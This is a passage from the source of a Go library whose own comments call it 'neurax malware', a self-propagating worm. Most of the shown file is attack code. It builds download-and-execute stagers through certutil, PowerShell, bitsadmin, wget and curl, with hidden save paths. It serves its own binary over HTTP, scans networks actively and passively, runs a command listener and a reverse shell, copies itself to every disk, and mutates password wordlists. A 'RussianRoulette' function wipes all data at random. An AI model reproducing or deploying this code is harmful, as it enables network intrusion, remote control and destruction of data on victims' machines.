61 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
62 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
63 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
64 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
65 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
66 |
--------------------------------------------------------------------------------
/neurax.go:
--------------------------------------------------------------------------------
1 | package neurax
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "context"
7 | "fmt"
8 | "net"
9 | "net/http"
10 | "net/url"
11 | "os"
12 | "os/signal"
13 | "path/filepath"
14 | "runtime"
15 | "strconv"
16 | "strings"
17 | "time"
18 | "unicode/utf8"
19 |
20 | ps "github.com/anvie/port-scanner"
21 | "github.com/google/gopacket"
22 | "github.com/google/gopacket/layers"
23 | "github.com/google/gopacket/pcap"
24 | "github.com/mostlygeek/arp"
25 | cf "github.com/redcode-labs/Coldfire"
26 | "github.com/valyala/fasthttp"
27 | "github.com/yelinaung/go-haikunator"
28 | "github.com/zbiljic/go-filelock"
29 | )
30 |
31 | const (
32 | tearDownServer = time.Millisecond * 500
33 | listenerTick = time.Millisecond * 10
34 | )
35 |
36 | var InfectedHosts []string
37 | var ReceivedCommands []string
38 |
39 | var spec = []string{"!", "!@", "!@#", "!@#$", "!@#$%"}
40 |
41 | var LangExecutors = map[string]string{
42 | "python_os": `import os; os.system("COMMAND")`,
43 | "python_subprocess": `import subprocess; subprocess.call("COMMAND", shell=True)`,
44 | "javascript": `var shl = WScript.CreateObject("WScript.Shell"); shl.Run("COMMAND");`,
45 | "php": `exec("COMMAND")`,
46 | "ruby": "`COMMAND`",
47 | "perl": `system("COMMAND");`,
48 | "lua": `os.execute("COMMAND")`,
49 | "mysql": `\! COMMAND`,
50 | "redis": `eval "os.execute('COMMAND')"`,
51 | }
52 |
53 | type (
54 | // Config has all features of neurax malware that can be configured
55 | Config struct {
56 | Stager string
57 | StagerSudo bool
58 | StagerBg bool
59 | StagerRetry int
60 | StagerRemovalDelay bool
61 | Port int
62 | CommPort int
63 | CommProto string
64 | LocalIp string
65 | Path string
66 | FileName string
67 | Platform string
68 | Cidr string
69 | ScanPassive bool
70 | ScanActive bool
71 | ScanActiveTimeout int
72 | ScanPassiveTimeout int
73 | ScanPassiveIface string
74 | ScanPassiveAll bool
75 | ScanPassiveNoArp bool
76 | ScanFast bool
77 | ScanShaker bool
78 | ScanShakerPorts []int
79 | ScanFirst []string
80 | ScanArpCache bool
81 | ScanActiveThreads int
82 | ScanFullRange bool
83 | ScanGatewayFirst bool
84 | ScanFirstOnly bool
85 | Base64 bool
86 | ScanRequiredPort int
87 | Verbose bool
88 | Remove bool
89 | ScanInterval string
90 | ScanHostInterval string
91 | ReverseListener string
92 | ReverseProto string
93 | PreventReexec bool
94 | ExfilAddr string
95 | WordlistExpand bool
96 | WordlistMutators []string
97 | WordlistPermuteNum int
98 | WordlistPermuteSeparator string
99 | WordlistShuffle bool
100 | AllocNum int
101 | Blacklist []string
102 | FastHTTP bool
103 | Debug bool
104 | NoInfectCheck bool
105 | }
106 | // nrx keeps a self copping and nrx malware capabilities
107 | Nrx struct {
108 | cfg Config
109 | }
110 | )
111 |
112 | // Default is a default configuration for neurax malware
113 | var Default = Config{
114 | Stager: "random",
115 | StagerSudo: false,
116 | StagerBg: false,
117 | StagerRetry: 0,
118 | StagerRemovalDelay: true,
119 | Port: 6741, //coldfire.RandomInt(2222, 9999),
120 | CommPort: 7777,
121 | CommProto: "udp",
122 | ScanRequiredPort: 0,
123 | LocalIp: cf.GetLocalIp(),
124 | Path: ".",
125 | FileName: "random",
126 | Platform: runtime.GOOS,
127 | Cidr: cf.GetLocalIp() + "/24",
128 | ScanPassive: false,
129 | ScanActive: true,
130 | ScanActiveTimeout: 2,
131 | ScanPassiveTimeout: 50,
132 | ScanPassiveIface: "default",
133 | ScanPassiveAll: false,
134 | ScanPassiveNoArp: false,
135 | ScanFast: false,
136 | ScanShaker: false,
137 | ScanShakerPorts: []int{21, 80},
138 | ScanFirst: []string{},
139 | ScanArpCache: false,
140 | ScanActiveThreads: 10,
141 | ScanFullRange: false,
142 | ScanGatewayFirst: false,
143 | ScanFirstOnly: false,
144 | Base64: false,
145 | Verbose: false,
146 | Remove: false,
147 | ScanInterval: "2m",
148 | ScanHostInterval: "none",
149 | ReverseListener: "none",
150 | ReverseProto: "udp",
151 | PreventReexec: true,
152 | ExfilAddr: "none",
153 | WordlistExpand: false,
154 | WordlistMutators: []string{"single_upper", "encapsule"},
155 | WordlistPermuteNum: 2,
156 | WordlistPermuteSeparator: "-",
157 | WordlistShuffle: false,
158 | AllocNum: 5,
159 | Blacklist: []string{},
160 | FastHTTP: false,
161 | Debug: false,
162 | NoInfectCheck: true,
163 | }
164 |
165 | // New creates pointer to instance of Rat
166 | func New(cfg Config) *Nrx {
167 | return &Nrx{cfg}
168 | }
169 |
170 | // ReportError reports error in verbose way
171 | func (nrx *Nrx) ReportError(message string, e error) {
172 | if e != nil && nrx.cfg.Verbose {
173 | fmt.Printf("ERROR %s: %s", message, e.Error())
174 | if nrx.cfg.Remove {
175 | if err := os.Remove(os.Args[0]); err != nil {
176 | os.Exit(1)
177 | }
178 | }
179 | }
180 | }
181 |
182 | // StagerLang uses specified language
183 | func (nrx *Nrx) StagerLang(name string) string {
184 | return strings.Replace(LangExecutors[name], "COMMAND", nrx.Stager(), -1)
185 | }
186 |
187 | // Stager prepares command stager that downloads and executes current binary
188 | func (nrx *Nrx) Stager() string {
189 | var stagers [][]string
190 | var stager []string
191 | var paths []string
192 | var b64Decoder string
193 | var sudo string
194 | stagerRetry := strconv.Itoa(nrx.cfg.StagerRetry + 1)
195 | windowsStagers := [][]string{
196 | {"certutil", `for /l %%Neurax in (1 1 RETRY) do certutil.exe -urlcache -split -f URL && B64 BACKGROUND SAVE_PATH\FILENAME && REMOVAL_DELAY del SAVE_PATH/FILENAME`},
197 | {"powershell", `for /l %%Neurax in (1 1 RETRY) do Invoke-WebRequest URL/FILENAME -O SAVE_PATH\FILENAME && B64 BACKGROUND SAVE_PATH\FILENAME && REMOVAL_DELAY del SAVE_PATH/FILENAME`},
198 | {"bitsadmin", `for /l %%Neurax in (1 1 RETRY) do bitsadmin /transfer update /priority high URL SAVE_PATH\FILENAME && B64 BACKGROUND SAVE_PATH\FILENAME && REMOVAL_DELAY del SAVE_PATH\FILENAME`},
199 | }
200 | linuxStagers := [][]string{
201 | {"wget", `for i in {1..RETRY}; do SUDO wget -O SAVE_PATH/FILENAME URL && SUDO B64 chmod +x SAVE_PATH/FILENAME && SUDO SAVE_PATH/./FILENAME BACKGROUND; done && REMOVAL_DELAY rm SAVE_PATH/FILENAME`},
202 | {"curl", `for i in {1..RETRY}; do SUDO curl URL/FILENAME > SAVE_PATH/FILENAME && SUDO B64 chmod +x SAVE_PATH/FILENAME && SUDO SAVE_PATH./FILENAME BACKGROUND; done && REMOVAL_DELAY rm SAVE_PATH/FILENAME`},
203 | {"httrack", `SUDO apt-get install -y httrack && for i in {1..RETRY}; do SUDO httrack URL && export u="URL" && cd ${u#https://} && chmod +x FILENAME && SUDO ./FILENAME BACKGROUND; done && REMOVAL_DELAY rm SAVE_PATH/FILENAME`},
204 | }
205 | linuxSavePaths := []string{"/tmp", "/lib", "~",
206 | "/etc", "/usr", "/usr/share"}
207 | windowsSavePaths := []string{`%SYSTEMDRIVE%\$recycle.bin\`, `%ALLUSERSAPPDATA%\MicrosoftHelp\`}
208 | var background string
209 | switch nrx.cfg.Platform {
210 | case "windows":
211 | stagers = windowsStagers
212 | paths = windowsSavePaths
213 | if nrx.cfg.Base64 {
214 | b64Decoder = "certutil -decode SAVE_PATH/FILENAME SAVE_PATH/FILENAME;"
215 | }
216 | if nrx.cfg.StagerBg {
217 | background = "start /b"
218 | }
219 | case "linux", "darwin":
220 | stagers = linuxStagers
221 | paths = linuxSavePaths
222 | if nrx.cfg.Base64 {
223 | b64Decoder = "cat SAVE_PATH/FILENAME|base64 -d > SAVE_PATH/FILENAME;"
224 | }
225 | if nrx.cfg.StagerBg {
226 | background = "> /dev/null 2>&1 &"
227 | }
228 | }
229 | if nrx.cfg.Stager == "random" {
230 | stager = cf.RandomSelectStrNested(stagers)
231 | } else {
232 | for s := range stagers {
233 | st := stagers[s]
234 | if st[0] == nrx.cfg.Stager {
235 | stager = st
236 | }
237 | }
238 | }
239 | selectedStagerCommand := stager[1]
240 | if nrx.cfg.Stager == "chain" {
241 | chainedCommands := make([]string, 0, len(stagers))
242 | for s := range stagers {
243 | st := stagers[s]
244 | chainedCommands = append(chainedCommands, st[1])
245 | }
246 | separator := ";"
247 | if runtime.GOOS == "windows" {
248 | separator = "&&"
249 | }
250 | selectedStagerCommand = strings.Join(chainedCommands, " "+separator+" ")
251 | }
252 | if nrx.cfg.Path == "random" {
253 | nrx.cfg.Path = cf.RandomSelectStr(paths)
254 | }
255 | if nrx.cfg.Path == "." {
256 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SAVE_PATH/", "./", -1)
257 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SAVE_PATH\\", "", -1)
258 | }
259 | if nrx.cfg.FileName == "random" {
260 | nrx.cfg.FileName = cf.RandomString(cf.RandomInt(4, 10))
261 | }
262 | if nrx.cfg.FileName == "random" && nrx.cfg.Platform == "windows" {
263 | nrx.cfg.FileName += ".exe"
264 | }
265 | if nrx.cfg.StagerSudo {
266 | sudo = "sudo"
267 | }
268 | var removalDelay string
269 | if nrx.cfg.StagerRemovalDelay {
270 | removalDelay = "sleep 5"
271 | }
272 | parsedURL, err := url.Parse(fmt.Sprintf("http://%s:%d/%s", nrx.cfg.LocalIp, nrx.cfg.Port, nrx.cfg.FileName))
273 | if err != nil {
274 | os.Exit(1)
275 | }
276 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "URL", parsedURL.String(), -1)
277 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "FILENAME", nrx.cfg.FileName, -1)
278 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SAVE_PATH", nrx.cfg.Path, -1)
279 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "B64", b64Decoder, -1)
280 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "SUDO", sudo, -1)
281 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "RETRY", stagerRetry, -1)
282 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "BACKGROUND", background, -1)
283 | selectedStagerCommand = strings.Replace(selectedStagerCommand, "REMOVAL_DELAY", removalDelay, -1)
284 | nrx.Debug("Created command stager: " + selectedStagerCommand)
285 | return selectedStagerCommand
286 | }
287 |
288 | // Server start server serving binary self as bytes or base64 encoded string
289 | func (nrx *Nrx) Server(cancel context.CancelFunc) {
290 | nflck, err := filelock.New(".nflck") // Mutex to ensure single process instance within a targeted system
291 | if err != nil {
292 | os.Exit(1)
293 | }
294 | defer func() {
295 | if err := nflck.Unlock(); err != nil {
296 | os.Exit(1)
297 | }
298 | }()
299 | data, err := os.ReadFile(os.Args[0])
300 | if err != nil {
301 | os.Exit(1)
302 | }
303 | if nrx.cfg.Base64 {
304 | data = []byte(cf.B64E(string(data)))
305 | }
306 |
307 | h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
308 | http.ServeContent(w, r, nrx.cfg.FileName, time.Now(), bytes.NewReader(data))
309 | })
310 |
311 | server := &http.Server{Addr: fmt.Sprintf(":%v", fmt.Sprintf(":%d", nrx.cfg.Port)), Handler: h}
312 | idleCC := make(chan struct{})
313 | go handleShutdown(server, idleCC)
314 | if err := server.ListenAndServe(); err != http.ErrServerClosed {
315 | os.Exit(1)
316 | }
317 | cancel()
318 | <-idleCC
319 | }
320 |
321 | func handleShutdown(srv *http.Server, idleCC chan struct{}) {
322 | sigint := make(chan os.Signal, 1)
323 | signal.Notify(sigint, os.Interrupt)
324 | <-sigint
325 |
326 | ctx, cancel := context.WithTimeout(context.Background(), tearDownServer)
327 | defer cancel()
328 | if err := srv.Shutdown(ctx); err != nil {
329 | os.Exit(1)
330 | }
331 | close(idleCC)
332 | }
333 |
334 | // IsHostActive validates is port active when at least one port is open
335 | func (nrx *Nrx) IsHostActive(target string) bool {
336 | if cf.Contains(nrx.cfg.Blacklist, target) {
337 | return false
338 | }
339 | if nrx.cfg.ScanShaker {
340 | for _, port := range nrx.cfg.ScanShakerPorts {
341 | timeout := time.Duration(nrx.cfg.ScanActiveTimeout) * time.Second
342 | portStr := strconv.Itoa(port)
343 | _, err := net.DialTimeout("tcp", target+portStr, timeout)
344 | if err == nil {
345 | nrx.Debug("Found active host: " + target)
346 | return true
347 | }
348 | }
349 | } else {
350 | first := 19
351 | last := 200
352 | if nrx.cfg.ScanFullRange {
353 | last = 65535
354 | }
355 | if nrx.cfg.ScanFast {
356 | nrx.cfg.ScanActiveTimeout = 2
357 | nrx.cfg.ScanActiveThreads = 20
358 | first = 21
359 | last = 81
360 | }
361 | pscan := ps.NewPortScanner(target, time.Duration(nrx.cfg.ScanActiveTimeout)*time.Second, nrx.cfg.ScanActiveThreads)
362 | openedPorts := pscan.GetOpenedPort(first, last)
363 | if len(openedPorts) != 0 {
364 | if nrx.cfg.ScanRequiredPort == 0 {
365 | nrx.Debug("Found active host: " + target)
366 | return true
367 | } else {
368 | if cf.PortscanSingle(target, nrx.cfg.ScanRequiredPort) {
369 | nrx.Debug("Found active host: " + target)
370 | return true
371 | }
372 | }
373 | }
374 | }
375 | return false
376 | }
377 |
378 | // IsHostInfected validates if host is infected with Neurax
379 | func (nrx *Nrx) IsHostInfected(target string) bool {
380 | if nrx.cfg.NoInfectCheck {
381 | return false
382 | }
383 | if cf.Contains(nrx.cfg.Blacklist, target) {
384 | return false
385 | }
386 | if cf.Contains(InfectedHosts, target) {
387 | return true
388 | }
389 | targetUrl := fmt.Sprintf("http://%s:%d/", target, nrx.cfg.Port)
390 | if nrx.cfg.FastHTTP {
391 | req := fasthttp.AcquireRequest() // TODO: we are not using this package it in Server, go with one approach, use or do not use external lib
392 | defer fasthttp.ReleaseRequest(req)
393 | req.SetRequestURI(targetUrl)
394 | resp := fasthttp.AcquireResponse()
395 | defer fasthttp.ReleaseResponse(resp)
396 | err := fasthttp.Do(req, resp)
397 | if err != nil {
398 | return false
399 | }
400 | if resp.StatusCode() == fasthttp.StatusOK {
401 | InfectedHosts = append(InfectedHosts, target)
402 | InfectedHosts = cf.RemoveFromSlice(InfectedHosts, nrx.cfg.LocalIp)
403 | nrx.Debug("Found infected host: " + target)
404 | return true
405 | }
406 | } else {
407 | rsp, err := http.Get(targetUrl)
408 | if err != nil {
409 | return false
410 | }
411 | if rsp.StatusCode == 200 {
412 | InfectedHosts = append(InfectedHosts, target)
413 | InfectedHosts = cf.RemoveFromSlice(InfectedHosts, nrx.cfg.LocalIp)
414 | nrx.Debug("Found infected host: " + target)
415 | return true
416 | }
417 | return false
418 | }
419 | return false
420 | }
421 |
422 | func (nrx *Nrx) handleCommand(cmd string) {
423 | if cmd == "purge" {
424 | nrx.PurgeSelf()
425 | }
426 | if nrx.cfg.PreventReexec {
427 | if cf.Contains(ReceivedCommands, cmd) {
428 | return
429 | }
430 | ReceivedCommands = append(ReceivedCommands, cmd)
431 | }
432 | if _, err := cf.CmdOut(cmd); err != nil {
433 | os.Exit(1)
434 | }
435 | }
436 |
437 | // OpenComm opens port and waits form command
438 | func (nrx *Nrx) OpenComm(ctx context.Context) {
439 | l, err := net.Listen(nrx.cfg.CommProto, "0.0.0.0:"+strconv.Itoa(nrx.cfg.CommPort))
440 | nrx.ReportError("Comm listen error", err)
441 | t := time.NewTicker(listenerTick)
442 | L:
443 | for {
444 | select {
445 | case <-ctx.Done():
446 | break L
447 | case <-t.C:
448 | conn, err := l.Accept()
449 | if err != nil {
450 | nrx.ReportError("Conn accept error", err)
451 | continue
452 | }
453 | buff := make([]byte, 1024)
454 | l, err := conn.Read(buff)
455 | if err != nil {
456 | nrx.ReportError("Conn read error", err)
457 | continue
458 | }
459 | cmd := string(buff[:l-1])
460 | nrx.Debug("Received command: " + cmd)
461 | go nrx.handleCommand(cmd)
462 | if err := conn.Close(); err != nil {
463 | nrx.ReportError(" Conn close error", err)
464 | continue
465 | }
466 | }
467 | }
468 | }
469 |
470 | // Reverse launches a reverse shell. Each received command is passed to handleCommand func
471 | func (nrx *Nrx) Reverse(ctx context.Context) {
472 | conn, _ := net.Dial(nrx.cfg.ReverseProto, nrx.cfg.ReverseListener)
473 | t := time.NewTicker(listenerTick)
474 | L:
475 | for {
476 | select {
477 | case <-ctx.Done():
478 | break L
479 | case <-t.C:
480 | command, err := bufio.NewReader(conn).ReadString('\n')
481 | if err != nil {
482 | os.Exit(1)
483 | }
484 | command = strings.TrimSuffix(command, "\n")
485 | go nrx.handleCommand(command)
486 | }
487 | }
488 | }
489 |
490 | func (nrx *Nrx) scanPassiveSingleIface(f func(string), iface string) {
491 | var snapshotLen int32 = 1024
492 | timeout := time.Duration(nrx.cfg.ScanPassiveTimeout) * time.Second
493 | if nrx.cfg.ScanFast {
494 | timeout = 50 * time.Second
495 | }
496 | handler, err := pcap.OpenLive(iface, snapshotLen, false, timeout)
497 | nrx.ReportError("Cannot open device", err)
498 | if !nrx.cfg.ScanPassiveNoArp {
499 | if err := handler.SetBPFFilter("arp"); err != nil {
500 | nrx.ReportError(" Set BPF filter error", err)
501 | return
502 | }
503 | }
504 | defer handler.Close()
505 | packetSource := gopacket.NewPacketSource(handler, handler.LinkType())
506 | for packet := range packetSource.Packets() {
507 | ipLayer := packet.Layer(layers.LayerTypeIPv4)
508 | if ipLayer != nil {
509 | ip, _ := ipLayer.(*layers.IPv4)
510 | source := fmt.Sprintf("%s", ip.SrcIP)
511 | destination := fmt.Sprintf("%s", ip.DstIP)
512 | if source != nrx.cfg.LocalIp && !nrx.IsHostInfected(source) && source != "255.255.255.255" {
513 | go f(source)
514 | }
515 | if destination != nrx.cfg.LocalIp && !nrx.IsHostInfected(destination) && destination != "255.255.255.255" {
516 | go f(destination)
517 | }
518 | }
519 | }
520 | }
521 |
522 | func (nrx *Nrx) scanPassive(f func(string)) {
523 | currentIface, _ := cf.Iface()
524 | ifacesToUse := []string{currentIface}
525 | if nrx.cfg.ScanPassiveIface != "default" {
526 | ifacesToUse = []string{nrx.cfg.ScanPassiveIface}
527 | }
528 | devices, err := pcap.FindAllDevs()
529 | deviceNames := make([]string, 0, len(devices))
530 | for _, dev := range devices {
531 | deviceNames = append(deviceNames, dev.Name)
532 | }
533 | nrx.ReportError("Cannot obtain network interfaces", err)
534 | if nrx.cfg.ScanPassiveAll {
535 | ifacesToUse = append(ifacesToUse, deviceNames...)
536 | }
537 | for _, device := range ifacesToUse {
538 | go nrx.scanPassiveSingleIface(f, device)
539 | }
540 | }
541 |
542 | func targetsLookup(targets []string) []string {
543 | res := make([]string, 0, len(targets))
544 | for _, target := range targets {
545 | if cf.RegexMatch("ip", target) {
546 | res = append(res, target)
547 | } else {
548 | ipAddr, err := cf.DnsLookup(target)
549 | if err != nil {
550 | return []string{}
551 | }
552 | res = append(res, ipAddr...)
553 | }
554 | }
555 | return res
556 | }
557 |
558 | func (nrx *Nrx) scanActive(f func(string)) {
559 | var targets []string
560 | if nrx.cfg.ScanGatewayFirst {
561 | gateway := cf.GetGatewayIP()
562 | targets = append(targets, gateway)
563 | nrx.Debug("Added gateway to targets pool: " + gateway)
564 | }
565 | if len(nrx.cfg.ScanFirst) != 0 {
566 | targets = append(targets, targetsLookup(nrx.cfg.ScanFirst)...)
567 | }
568 | if nrx.cfg.ScanFirstOnly {
569 | targets = targetsLookup(nrx.cfg.ScanFirst)
570 | }
571 | if nrx.cfg.ScanArpCache {
572 | for ip := range arp.Table() {
573 | if !nrx.IsHostInfected(ip) {
574 | targets = append(targets, ip)
575 | }
576 | }
577 | nrx.Debug(cf.F("Found %d targets in ARP cache", len(arp.Table())))
578 | }
579 | fullAddrRange, _ := cf.ExpandCidr(nrx.cfg.Cidr)
580 | for _, addr := range fullAddrRange {
581 | if !cf.Contains(nrx.cfg.Blacklist, addr) {
582 | targets = append(targets, addr)
583 | }
584 | }
585 | targets = cf.RemoveFromSlice(targets, nrx.cfg.LocalIp)
586 | for _, target := range targets {
587 | nrx.Debug("Scanning " + target)
588 | if nrx.IsHostActive(target) && !nrx.IsHostInfected(target) {
589 | nrx.Debug("Scanned " + target)
590 | go f(target)
591 | if nrx.cfg.ScanHostInterval != "none" {
592 | time.Sleep(time.Duration(cf.IntervalToSeconds(nrx.cfg.ScanHostInterval)) * time.Second)
593 | }
594 | }
595 | }
596 | }
597 |
598 | func (nrx *Nrx) scanCore(f func(string)) {
599 | if nrx.cfg.ScanPassive {
600 | go nrx.scanPassive(f)
601 | }
602 | if nrx.cfg.ScanActive {
603 | go nrx.scanActive(f)
604 | }
605 | }
606 |
607 | // Scan scans network for new hosts
608 | func (nrx *Nrx) Scan(f func(string)) {
609 | for {
610 | nrx.scanCore(f)
611 | time.Sleep(time.Duration(cf.IntervalToSeconds(nrx.cfg.ScanInterval)))
612 | }
613 | }
614 |
615 | // Debug prints msg if debug is on
616 | func (nrx *Nrx) Debug(msg string) {
617 | if nrx.cfg.Debug {
618 | cf.PrintInfo(msg)
619 | }
620 | }
621 |
622 | // Disks copies current binary to all found disks
623 | func Disks() error {
624 | selectedName := genHaiku()
625 | if runtime.GOOS == "windows" {
626 | selectedName += ".exe"
627 | }
628 | disks, err := cf.Disks()
629 | if err != nil {
630 | return err
631 | }
632 | for _, d := range disks {
633 | err := cf.CopyFile(os.Args[0], d+"/"+selectedName)
634 | if err != nil {
635 | return err
636 | }
637 | }
638 | return nil
639 | }
640 |
641 | // ZIPSelf the binary zips itself and saves under save name in archive
642 | func ZIPSelf() error {
643 | archiveName := os.Args[0] + ".zip"
644 | filesToZip := []string{os.Args[0]}
645 | return cf.MakeZip(archiveName, filesToZip)
646 | }
647 |
648 | func genHaiku() string {
649 | h := haikunator.New(time.Now().UTC().UnixNano())
650 | return h.Haikunate()
651 | }
652 |
653 | // Purge removes binary from all nodes that can be reached
654 | func (nrx *Nrx) Purge() {
655 | DataSender := cf.SendDataUDP
656 | if nrx.cfg.CommProto == "tcp" {
657 | DataSender = cf.SendDataTCP
658 | }
659 | for _, host := range InfectedHosts {
660 | err := DataSender(host, nrx.cfg.CommPort, "purge")
661 | nrx.ReportError("Cannot perform purge", err)
662 | }
663 | nrx.handleCommand("purge")
664 | }
665 |
666 | // PurgeSelf removes binary from host and quits
667 | func (nrx *Nrx) PurgeSelf() {
668 | if err := os.Remove(os.Args[0]); err != nil {
669 | os.Exit(1)
670 | }
671 | os.Exit(0)
672 | }
673 |
674 | // WordEncapsulate encapsulates word in punctuations marks
675 | func WordEncapsulate(word string) []string {
676 | return []string{
677 | "!" + word + "!",
678 | "?" + word + "?",
679 | ":" + word + ":",
680 | "@" + word + "@",
681 | "#" + word + "#",
682 | "$" + word + "$",
683 | "%" + word + "%",
684 | "^" + word + "^",
685 | "&" + word + "&",
686 | "*" + word + "*",
687 | "(" + word + ")",
688 | "[" + word + "",
689 | "<" + word + ">",
690 | }
691 | }
692 |
693 | // WordCyrillicReplace replaces cyrillic chars with ascii chars
694 | func WordCyrillicReplace(word string) []string { // TODO: why not use us utf8 encode mapping
695 | var wordlist []string
696 | refs := map[string]string{
697 | "й": "q", "ц": "w", "у": "e",
698 | "к": "r", "е": "t", "н": "y",
699 | "г": "u", "ш": "i", "щ": "o",
700 | "з": "p", "ф": "a", "ы": "s",
701 | "в": "d", "а": "f", "п": "g",
702 | "р": "h", "о": "j", "л": "k",
703 | "д": "l", "я": "z", "ч": "x",
704 | "с": "c", "м": "v", "и": "b",
705 | "т": "n", "ь": "m"}
706 |
707 | rusWord := word
708 | for k, v := range refs {
709 | rusWord = strings.Replace(rusWord, v, k, -1)
710 | }
711 | wordlist = append(wordlist, rusWord)
712 | return wordlist
713 | }
714 |
715 | // WordSingleUpperTransform transforms word to uppercase letter slice
716 | func WordSingleUpperTransform(word string) []string {
717 | res := make([]string, 0, utf8.RuneCountInString(word))
718 | for i := range word {
719 | splitted := strings.Fields(word)
720 | splitted[i] = strings.ToUpper(splitted[i])
721 | res = append(res, strings.Join(splitted, ""))
722 | }
723 | return res
724 | }
725 |
726 | // WordBasicLeet
727 | func WordBasicLeet(word string) []string {
728 | leets := map[string]string{
729 | "a": "4", "b": "3", "g": "9", "o": "0", "i": "1",
730 | }
731 | for k, v := range leets {
732 | word = strings.Replace(word, k, v, -1)
733 | word = strings.Replace(word, strings.ToUpper(k), v, -1)
734 | }
735 | return []string{word}
736 | }
737 |
738 | // WordFullLeet
739 | func WordFullLeet(word string) []string {
740 | leets := map[string]string{
741 | "a": "4", "b": "3", "g": "9", "o": "0",
742 | "t": "7", "s": "5", "S": "$", "h": "#", "i": "1",
743 | "u": "v",
744 | }
745 | for k, v := range leets {
746 | word = strings.Replace(word, k, v, -1)
747 | word = strings.Replace(word, strings.ToUpper(k), v, -1)
748 | }
749 | return []string{word}
750 | }
751 |
752 | // WordRevert reverts word to the slice of letters
753 | func WordRevert(word string) []string {
754 | return []string{cf.Revert(word)}
755 | }
756 |
757 | // WordDuplicate duplicates word in to the slice of letters
758 | func WordDuplicate(word string) []string {
759 | return []string{word + word}
760 | }
761 |
762 | // WordCharSwap swaps first and last rune/char in string
763 | func WordCharSwap(word string) []string {
764 | w := []rune(word)
765 | w[0], w[len(w)] = w[len(w)], w[0]
766 | return []string{string(w)}
767 | }
768 |
769 | // WordSpecialCharsAppend appends special chars to the word
770 | func WordSpecialCharsAppend(word string) []string {
771 | res := make([]string, 0, len(spec))
772 | for _, s := range spec {
773 | res = append(res, word+s)
774 | }
775 | return res
776 | }
777 |
778 | // WordSpecialCharsPrepend prepends special characters to
779 | func WordSpecialCharsPrepend(word string) []string {
780 | res := make([]string, 0, len(spec))
781 | for _, s := range spec {
782 | res = append(res, s+word)
783 | }
784 | return res
785 | }
786 |
787 | // RussianRoulette deletes all data in the machines
788 | func RussianRoulette() error {
789 | if cf.RandomInt(1, 6) == 6 {
790 | return cf.Wipe()
791 | }
792 | return nil
793 | }
794 |
795 | // Wordlist transformed words from input slice
796 | func (nrx *Nrx) Wordlist(words ...string) []string {
797 | useAll := cf.Contains(nrx.cfg.WordlistMutators, "all")
798 | var wordlist []string
799 | /*for i := 0; i < nrx.cfg.WordlistCommonNum; i++ {
800 | wordlist = append(wordlist, CommonPasswords[i])
801 | }
802 | if len(nrx.cfg.WordlistCommonCountries) != 0 {
803 | for cn, num := range nrx.cfg.WordlistCommonCountries {
804 | wordlist = append(wordlist, CommonPasswordsCountries[cn][0:num]...)
805 | }
806 | }*/
807 | for _, word := range words {
808 | firstToUpper := strings.ToUpper(string(word[0])) + word[1:]
809 | lastToUpper := word[:len(word)-1] + strings.ToUpper(string(word[len(word)-1]))
810 | wordlist = append(wordlist, strings.ToUpper(word))
811 | wordlist = append(wordlist, firstToUpper)
812 | wordlist = append(wordlist, lastToUpper)
813 | wordlist = append(wordlist, firstToUpper+"1")
814 | wordlist = append(wordlist, firstToUpper+"12")
815 | wordlist = append(wordlist, firstToUpper+"123")
816 | wordlist = append(wordlist, word+"1")
817 | wordlist = append(wordlist, word+"12")
818 | wordlist = append(wordlist, word+"123")
819 | if nrx.cfg.WordlistExpand {
820 | if cf.Contains(nrx.cfg.WordlistMutators, "encapsule") || useAll {
821 | wordlist = append(wordlist, WordEncapsulate(word)...)
822 | }
823 | if cf.Contains(nrx.cfg.WordlistMutators, "cyryllic") || useAll {
824 | wordlist = append(wordlist, WordCyrillicReplace(word)...)
825 | }
826 | if cf.Contains(nrx.cfg.WordlistMutators, "single_upper") || useAll {
827 | wordlist = append(wordlist, WordSingleUpperTransform(word)...)
828 | }
829 | if cf.Contains(nrx.cfg.WordlistMutators, "basic_leet") || useAll {
830 | wordlist = append(wordlist, WordBasicLeet(word)...)
831 | }
832 | if cf.Contains(nrx.cfg.WordlistMutators, "full_leet") || useAll {
833 | wordlist = append(wordlist, WordFullLeet(word)...)
834 | }
835 | if cf.Contains(nrx.cfg.WordlistMutators, "revert") || useAll {
836 | wordlist = append(wordlist, WordRevert(word)...)
837 | }
838 | if cf.Contains(nrx.cfg.WordlistMutators, "duplicate") || useAll {
839 | wordlist = append(wordlist, WordDuplicate(word)...)
840 | }
841 | if cf.Contains(nrx.cfg.WordlistMutators, "char_swap") || useAll {
842 | wordlist = append(wordlist, WordCharSwap(word)...)
843 | }
844 | if cf.Contains(nrx.cfg.WordlistMutators, "special_append") || useAll {
845 | wordlist = append(wordlist, WordSpecialCharsAppend(word)...)
846 | }
847 | if cf.Contains(nrx.cfg.WordlistMutators, "special_prepend") || useAll {
848 | wordlist = append(wordlist, WordSpecialCharsPrepend(word)...)
849 | }
850 | }
851 | }
852 | if cf.Contains(nrx.cfg.WordlistMutators, "permute") || useAll {
853 | wordlist = append(wordlist, nrx.WordlistPermute(words...)...)
854 | }
855 | wordlist = cf.RemoveDuplicatesStr(wordlist)
856 | if nrx.cfg.WordlistShuffle {
857 | wordlist = cf.ShuffleSlice(wordlist)
858 | }
859 | return wordlist
860 | }
861 |
862 | // WordlistPermute permutes words in to slice
